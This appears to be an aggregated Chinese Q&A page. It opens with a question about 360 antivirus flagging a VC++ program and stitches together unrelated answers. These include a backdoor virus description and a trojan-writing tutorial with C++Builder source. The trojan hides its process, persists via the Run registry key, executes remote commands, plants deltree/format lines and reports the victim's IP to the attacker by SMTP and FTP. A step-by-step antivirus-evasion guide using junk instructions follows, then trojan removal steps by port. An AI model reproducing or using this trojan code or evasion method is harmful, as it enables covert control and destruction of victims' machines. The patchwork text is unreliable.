怎么我用vc++6.0 建个win32 application 程序 360 报木马 Malware.QVM02.Gen

怎么我用vc++6.0 建个win32 application 程序 360 报木马 Malware.QVM02.Gen,第1张

不用管它,它的病毒库里没有你这个程序的信息,自然会报木马了,像一些无名软件,用得好好的,但360也是有可能报是木马的因为病毒库里没有相关信息,自己查一下杀毒软件的原理,多了解一下报木马你就把你的程序添加到受信任里自己做的程序还能不信任吗如果有什么问题可以找我聊聊

QQ:406784192

验证信息请填技术交流

病毒名称 BackdoorWin32Smallsb 捕获时间 2007-11-29 病毒症状 该病毒使用VC++60编写的后门程序,长度为8,192字节,图标为Windows默认可执行文件图标,病毒扩展名为exe,主要传播途径网页木马、文件捆绑。 病毒分析 该后门程序被激活后,通过查看注册表HKLM\SYSTEM\CurrentControlSet\Services子项,确定病毒服务service_svcname是否存在,若存在通过StartServiceCtrlDispatcherA执行服务代码,否则先进行初始化再执行服务代码。 主要初始化动作如下: 遍历进程查找avpexe、kavsvcexe、Ravmonexe、RavmonDexe等杀毒软件进程并将其结束; 将自身拷贝到%systemroot%\system32目录下后,将病毒拷贝注册成名为service_svcname的服务并运行; 通过运行命令行将病毒原文件删除。 病毒自定义的服务代码: 病毒会在后台同时开启多个线程打开多个端口向后门种植者发送数据包,当连接建立后会根据不同的命令执行相应的动作,成为黑客的肉机; flood:肉机接收到该命令后,会向和该命令一起发送过来的IP地址循环发送数据包进行DDos攻击; download:病毒访问恶意网站下载其它病毒程序并运行; updatedata:下载病毒模块执行更新 *** 作;stopattack:病毒停止一切 *** 作。 感染对象 Windows 2000/Windows XP/Windows 2003 传播途径 网页挂马、文件捆绑

木马是如何编写的(一)

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在DosWindows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗先修改你的profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈难道你还给受害者传一个1兆多的动态链接库Msvbvm60dll吗?

启动C++Builder 50企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32DLL中的鸟函数了。

首先判断目标机的 *** 作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到 *** 作系统的版本号

if (dwVersion >= 0x80000000)

// *** 作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断 *** 作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0)c_str(), AnsiString(SystemPath+"\\Tapi32exe")c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry->RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32exe")

Registry->WriteString("crossbow",SystemPath+"\\Tapi32exe");

file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32exe

file://如果不是,就写入以上键值和内容

}

catch()

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE fp=NULL;

char content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369BAT"))c_str());

file://在%System%下建立一个文本文件Win369bat,作为临时文件使用

AnsiString temp=Socket->ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexecbat和Configsys吧:

{

if(tempSubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=tempLength();

file://得到字符串的长度

int file_name=atoi((tempSubString(11,1))c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(tempSubString(12,number-11)+'\n')c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE fp=NULL;

char filename[20];

chmod("c:\\autoexecbat",S_IREADS_IWRITE);

chmod("c:\\configsys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexecbat");

file://如果第11个字符是1,就把Autoexecbat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\configsys");

file://如果第11个字符是1,就把Configsys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

file://如果已经试了100次了,仍未成功

Socket->SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket->SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲:

{

else if(tempSubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char CR_LF="\n";

int attrib;

char filename;

DIR dir;

struct dirent ent;

int number=tempLength();

file://得到字符串的长度

AnsiString Dir_Name=tempSubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket->SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char dirname;

dirname=Dir_Namec_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket->SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket->SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if((AnsiString(dirname))AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent->d_name)c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent->d_name)c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib & FA_RDONLY)

file://“&”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib & FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib & FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib & FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib & FA_DIREC)

fwrite(" <DIR> ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

file://如果已经试了100次了,仍未成功

Socket->SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i<300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

for(int i=0;i<300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket->SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Clientexe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(tempSubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=tempLength();

AnsiString File_Name=tempSubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Namec_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

file://如果已试了100次了

Socket->SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i<300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

for(int i=0;i<300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket->SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧 *** 纵目标机的光驱(注意:mciSendString()函数的声明在mmsystemh头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就d出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9xNT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到 *** 作系统的版本号

if (dwVersion < 0x80000000)

{

file:// *** 作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);

file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌

file://GetCurrentProcess()函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkpPrivileges[0]Luid);

file://LookupPrivilegeValue()的作用是修改进程的权限

tkpPrivilegeCount = 1;

file://赋给本进程特权

tkpPrivileges[0]Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

Socket->SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(tempc_str(),sizeof(char),strlen(tempc_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369bat

system(TempFile);

file://执行Win369bat

Socket->SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket->Close();

file://关闭服务

ServerSocket1->Active =true;

file://再次打开服务

if (NMSMTP1->Connected) NMSMTP1->Disconnect();

file://如果SMTP服务器已连接则断开

NMSMTP1->Host = "smtp163net";

file://选一个好用的SMTP服务器,如163、263、sina和btamail

NMSMTP1->UserID = "";

file://你SMTP的ID

try

{

NMSMTP1->Connect();

file://再次连接

}

catch()

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1->PostMessage->FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1->PostMessage->FromName = "Casualty";

file://受害者的名字

NMSMTP1->PostMessage->ToAddress->Text = "crossbow@8848net";

file://将信发到我的邮箱,这一步很关键

NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1->PostMessage->Subject = "Server Running Now!";

file://信的主题

NMSMTP1->SendMail();

file://发送!

return;

file://返回

NextTime:

NMFTP1->Host = "ftpgo163com";

file://你的FTP服务器的地址

NMFTP1->UserID = "";

file://你的用户ID

NMFTP1->Port = 21;

file://FTP端口号,一般为21

NMFTP1->Password = "";

file://你的FTP的密码

if(NMFTP1->Connected) NMFTP1->Disconnect();

file://如果已连接就断开

try

{

NMFTP1->Connect();

file://再连接

}

catch()

{

return;

file://返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;

file://受害者的IP地址

FILE Upload;

Upload = fopen(NMFTP1->RemoteIPc_str(),"w+");

file://创建一个新文件准备写,如果已存在就覆盖

fwrite(SendToSitec_str(),sizeof(char),SendToSiteLength(),Upload);

file://写入以上的SendToSite的内容

fclose(Upload);

file://写完后关闭此文件

NMFTP1->RemoveDir("public_html");

file://删除public_html目录

NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);

file://上传!

}

啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

#include <stdlibh>

#include <direnth>

#include <fcntlh>

#include <dosh>

#include <sys\stath>

#include <winbaseh>

#include <stdioh>

#include <processh>

#include <ioh>

#include <mmsystemh>

至此,服务器端(Server)程序

没有问题,你就放心使用吧。这个属于360误报。

一般来说,如果你的程序涉及到注册表的更改,读取内核等,有时候杀毒软件就会认为该程序是木马,因为它觉得具有木马的一些特征,但是这往往是误报,你不用过于担心。

对补充的回答:你是使用云查杀的。360云查杀误杀的情况挺多的。以前我们遇到多次它误认为是木马的文件,最后经过专业分析,最终它是误认为是病毒了。你不用担心。

一花指令相关知识:

其实是一段垃圾代码,和一些乱跳转,但并不影响程序的正常运行。加了花指令后,使一些杀毒软件无法正确识别木马程序,从而达到免杀的效果。

二加花指令使木马免杀制作过程详解:

第一步:配置一个不加壳的木马程序。

第二步:用OD载入这个木马程序,同时记下入口点的内存地址。

第三步:向下拉滚动条,找到零区域(也就是可以插入代码的都是0的空白地方)。并记下零区域的起始内存地址。

第四步:从这个零区域的起始地址开始一句一句的写入我们准备好的花指令代码。

第五步:花指令写完后,在花指令的结束位置加一句:JMP 刚才OD载入时的入口点内存地址。

第六步:保存修改结果后,最后用PEditor这款工具打开这个改过后的木马程序。在入口点处把原来的入口地址改成刚才记下的零区域的起始内存地址,并按应用更改。使更改生效。

三加花指令免杀技术总节:

1优点:通用性非常不错,一般一个木马程序加入花指令后,就可以躲大部分的杀毒软件,不像改特征码,只能躲过某一种杀毒软件。

2缺点:这种方法还是不能过具有内存查杀的杀毒软件,比如瑞星内存查杀等。

3以后将加花指令与改入口点,加壳,改特征码这几种方法结合起来混合使用效果将非常不错。

四加花指令免杀要点:

由于黑客网站公布的花指令过不了一段时间就会被杀软辨认出来,所以需要你自己去搜集一些不常用的花指令,另外目前还有几款软件可以自动帮你加花,方便一些不熟悉的朋友,例如花指令添加器等。

五常见花指令代码

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

1。 VC++ 50

PUSH EBP

MOV EBP,ESP

PUSH -1

push 515448

PUSH 6021A8

MOV EAX,DWORD PTR FS:[0]

PUSH EAX

MOV DWORD PTR FS:[0],ESP

ADD ESP,-6C

PUSH EBX

PUSH ESI

PUSH EDI

jmp 跳转到程序原来的入口点

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

2。c ++

push ebp

mov ebp,esp

push -1

push 111111

push 222222

mov eax,fs:[0]

push eax

mov fs:[0],esp

pop eax

mov fs:[0],eax

pop eax

pop eax

pop eax

pop eax

mov ebp,eax

jmp 跳转到程序原来的入口点

你中的是斑点狗,你一但清除这些病毒,它就会在生成另外的程序,不断的在你电脑里下载病毒

1首先进入F8安全模式,下载360 V50和小红伞,启动360进行恶评插件清除

2在用系统全面诊断,哪个进程出现了好几个就结束掉!!

3在高级里选中启动项状态看看哪个不对劲,禁止掉

4重起进入安全模式,开启360V50在高级里选中系统服务状态看看有没有没有描述的服务,并且看安全级别!!!

5用木马云查杀一下有没有毒,重起到安全模式,用小红伞全盘查杀,注意除非你会英文并且很好,要不就用AntiVir PE Classic这个有汉化的和小红伞用的是一样的杀毒引擎来进行全面的扫描!!

然后就OK了

我可是一个字一个字的打出来的啊!!!

我给你找来一些木马的运行端口

以下列出的端口仅为相关木马程序默认情况下开放的端口,请根据具体情况采取相应的 *** 作:

707端口的关闭:

这个端口开放表示你可能感染了nachi蠕虫病毒,该蠕虫的清除方法如下:

1、停止服务名为WinS Client和Network Connections Sharing的两项服务

2、删除c:WinntSYSTEM32WinS目录下的DLLHOSTEXE和SVCHOSTEXE文件

3、编辑注册表,删除HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices项中名为RpcTftpd和RpcPatch的两个键值

1999端口的关闭:

这个端口是木马程序BackDoor的默认服务端口,该木马清除方法如下:

1、使用进程管理工具将notpaexe进程结束

2、删除c:Windows目录下的notpaexe程序

3、编辑注册表,删除HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion

Run项中包含c:Windows otpaexe /o=yes的键值

2001端口的关闭:

这个端口是木马程序黑洞2001的默认服务端口,该木马清除方法如下:

1、首先使用进程管理软件将进程Windowsexe杀掉

2、删除c:Winntsystem32目录下的Windowsexe和S_Serverexe文件

3、编辑注册表,删除HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion

RunServices项中名为Windows的键值

4、将HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareCLASSES项中的Winvxd项删除

5、修改HKEY_CLASSES_ROOT xtfileshellopencommand项中的c:Winntsystem32S_SERVEREXE %1为C:WinNTNOTEPADEXE %1

6、修改HKEY_LOCAL_MACHINESoftwareCLASSES xtfileshellopencommand

项中的c:Winntsystem32S_SERVEREXE %1键值改为

C:WinNTNOTEPADEXE %1

2023端口的关闭:

这个端口是木马程序Ripper的默认服务端口,该木马清除方法如下:

1、使用进程管理工具结束sysruntexe进程

2、删除c:Windows目录下的sysruntexe程序文件

3、编辑systemini文件,将shell=explorerexe sysruntexe 改为shell=explorerexe后保存

4、重新启动系统

2583端口的关闭:

这个端口是木马程序Wincrash v2的默认服务端口,该木马清除方法如下:

1、编辑注册表,删除HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion

Run项中的WinManager = "c:Windowsserverexe"键值

2、编辑Winini文件,将run=c:Windowsserverexe改为run=后保存退出

3、重新启动系统后删除C:Windowssystem SERVEREXE

3389端口的关闭:

首先说明3389端口是Windows的远程管理终端所开的端口,它并不是一个木马程序,请先确定该服务是否是你自己开放的。如果不是必须的,请关闭该服务。

Win2000关闭的方法:

1、Win2000server 开始-->程序-->管理工具-->服务里找到Terminal Services服务项,选中属性选项将启动类型改成手动,并停止该服务。

2、Win2000pro开始-->设置-->控制面板-->管理工具-->服务里找到Terminal Services服务项,选中属性选项将启动类型改成手动,并停止该服务。

Winxp关闭的方法:

在我的电脑上点右键选属性-->远程,将里面的远程协助和远程桌面两个选项框里的勾去掉。

4444端口的关闭:

如果发现你的机器开放这个端口,可能表示你感染了msblast蠕虫,清除该蠕虫的方法如下:

1、使用进程管理工具结束msblastexe的进程

2、编辑注册表,删除HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun

项中的"Windows auto update"="msblastexe"键值

3、删除c:Winntsystem32目录下的msblastexe文件

4899端口的关闭:

首先说明4899端口是一个远程控制软件(remote administrator)服务端监听的端口,他不能算是一个木马程序,但是具有远程控制功能,通常杀毒软件是无法查出它来的,请先确定该服务是否是你自己开放并且是必需的。如果不是请关闭它。

关闭4899端口:

1、请在开始-->运行中输入cmd(98以下为command),然后 cd C:Winntsystem32(你的系统安装目录),输入r_serverexe /stop后按回车。

然后在输入r_server /uninstall /silence

2、到C:Winntsystem32(系统目录)下删除r_serverexe admdlldll

raddrvdll三个文件

5800,5900端口:

首先说明5800,5900端口是远程控制软件VNC的默认服务端口,但是VNC在修改过后会被用在某些蠕虫中。

请先确认VNC是否是你自己开放并且是必须的,如果不是请关闭

关闭的方法:

1、首先使用fport命令确定出监听在5800和5900端口的程序所在位置(通常会是c:Winntfontsexplorerexe)

2、在任务管理器中杀掉相关的进程(注意有一个是系统本身正常的,请注意!如果错杀可以重新运行c:Winntexplorerexe)

3、删除C:Winntfonts中的explorerexe程序。

4、删除注册表HKEY_LOCAL_MACHINESoftwareMicrosoftWindows

CurrentVersionRun项中的Explorer键值。

5、重新启动机器。

6129端口的关闭:

首先说明6129端口是一个远程控制软件(dameware nt utilities)服务端监听得端口,他不是一个木马程序,但是具有远程控制功能,通常的杀毒软件是无法查出它来的。请先确定该服务是否是你自己安装并且是必需的,如果不是请关闭

关闭6129端口:

1、选择开始-->设置-->控制面板-->管理工具-->服务

找到DameWare Mini Remote Control项点击右键选择属性选项,将启动类型改成禁用后停止该服务。

2、到c:Winntsystem32(系统目录)下将DWRCSEXE程序删除。

3、到注册表内将HKEY_LOCAL_MACHINESYSTEMControlSet001Services项中的DWRCS键值删除

6267端口的关闭:

6267端口是木马程序广外女生的默认服务端口,该木马删除方法如下:

1、启动到安全模式下,删除c:Winntsystem32下的DIAGFGEXE文件

2、到c:Winnt目录下找到regeditexe文件,将该文件的后缀名改为com

3、选择开始-->运行输入regeditcom进入注册表编辑页面

4、修改HKEY_CLASSES_ROOTexefileshellopencommand项的键值为

"%1" %

5、删除HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows CurrentVersionRunServices项中名字为Diagnostic Configuration的键值

6、将c:Winnt下的regeditcom改回到regeditexe

6670、6771端口的关闭:

这些端口是木马程序DeepThroat v10 - 31默认的服务端口,清除该木马的方法如下:

1、编辑注册表,删除HKEY_LOCAL_MACHINESOFTWAREMicroSoftWindowsCurrentVersion

Run项中的‘System32‘=c:Windowssystem32exe键值(版本10)或‘SystemTray‘ = ‘Systrayexe‘ 键值(版本20-30)键值

3、重新启动机器后删除c:Windowssystem32exe(版本10)或c:Windowssystemsystrayexe(版本20-30)

6939 端口的关闭:

这个端口是木马程序Indoctrination默认的服务端口,清除该木马的方法如下:

1、编辑注册表,删除

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows

CurrentVersionRun

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows

CurrentVersionRunServices

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows

CurrentVersionRunOnce

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows

CurrentVersionRunServicesOnce

四项中所有包含Msgsrv16 ="msgserv16exe"的键值

2、重新启动机器后删除C:Windowssystem目录下的msgserv16exe文件

6969端口的关闭:

这个端口是木马程序PRIORITY的默认服务端口,清除该木马的方法如下:

1、编辑注册表,删除HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion

Run Services项中的"PServer"= C:WindowsSystemPServerexe键值

